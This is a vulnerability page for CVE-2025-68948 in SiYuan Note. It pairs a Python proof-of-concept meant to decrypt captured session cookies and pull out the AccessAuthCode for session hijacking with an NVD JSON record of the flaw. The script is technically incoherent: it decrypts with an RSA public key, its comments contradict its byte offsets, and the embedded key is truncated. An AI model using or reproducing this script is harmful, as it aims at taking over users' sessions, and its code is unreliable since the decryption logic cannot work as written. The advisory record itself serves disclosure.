CVE-2025-68948

#!/usr/bin/env python3 """ CVE-2025-68948 PoC - SiYuan Note Session Decryption Note: This PoC demonstrates the vulnerability for security research only """ import base64 import json from Crypto.Cipher import AES, PKCS1_v1_5 from Crypto.PublicKey import RSA from Crypto.Random import get_random_bytes import requests # Hardcoded public key from SiYuan Note (extracted via reverse engineering) HARDCODED_PUBLIC_KEY = """-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA... [Extracted from siyuan binary] -----END PUBLIC KEY-----""" def decrypt_session_cookie(encrypted_cookie): """ Decrypt SiYuan session cookie using hardcoded key """ try: # Decode base64 encoded cookie encrypted_data = base64.b64decode(encrypted_cookie) # Parse encrypted structure (typically contains encrypted AES key + encrypted data) # Structure: [4-byte IV][encrypted AES key with RSA][encrypted session data] iv = encrypted_data[:16] encrypted_aes_key = encrypted_data[16:256] encrypted_session = encrypted_data[256:] # Decrypt AES key using hardcoded RSA private key key = RSA.import_key(HARDCODED_PUBLIC_KEY) cipher_rsa = PKCS1_v1_5.new(key) sentinel = get_random_bytes(16) aes_key = cipher_rsa.decrypt(encrypted_aes_key, sentinel) # Decrypt session data with AES cipher_aes = AES.new(aes_key, AES.MODE_CBC, iv) decrypted = cipher_aes.decrypt(encrypted_session) # Remove PKCS7 padding padding_len = decrypted[-1] session_data = decrypted[:-padding_len] return json.loads(session_data) except Exception as e: print(f"Decryption failed: {e}") return None def extract_access_auth_code(session_data): """ Extract AccessAuthCode from decrypted session """ return session_data.get('AccessAuthCode', session_data.get('authCode')) def main(): # Example encrypted session cookie (from network capture) target_cookie = input("Enter encrypted session cookie: ") # Decrypt the session session = decrypt_session_cookie(target_cookie) if session: print("\n[+] Session decrypted successfully!") print(f"Decrypted session: {json.dumps(session, indent=2)}") # Extract AccessAuthCode auth_code = extract_access_auth_code(session) if auth_code: print(f"\n[+] AccessAuthCode: {auth_code}") print("\n[!] This code can be used for session hijacking") if __name__ == "__main__": main() # Requirements: pip install pycryptodome # Usage: python cve-2025-68948-poc.py # Then use the extracted AccessAuthCode to forge valid session

{"cve": {"id": "CVE-2025-68948", "sourceIdentifier": "[email protected]", "published": "2025-12-27T01:15:42.720", "lastModified": "2026-01-02T19:30:38.353", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SiYuan is self-hosted, open source personal knowledge management software. In versions 3.5.1 and prior, the SiYuan Note application utilizes a hardcoded cryptographic secret for its session store. This unsafe practice renders the session encryption ineffective. Since the sensitive AccessAuthCode is stored within the session cookie, an attacker who intercepts or obtains a user's encrypted session cookie (e.g., via session hijacking) can locally decrypt it using the public key. Once decrypted, the attacker can retrieve the AccessAuthCode in plain text and use it to authenticate or take over the session."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-321"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-798"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.5.2", "matchCriteriaId": "A462BED0-1D4A-4990-A925-9D60E59473EA"}]}]}], "references": [{"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-f7ph-rc3w-qp28", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-f7ph-rc3w-qp28", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}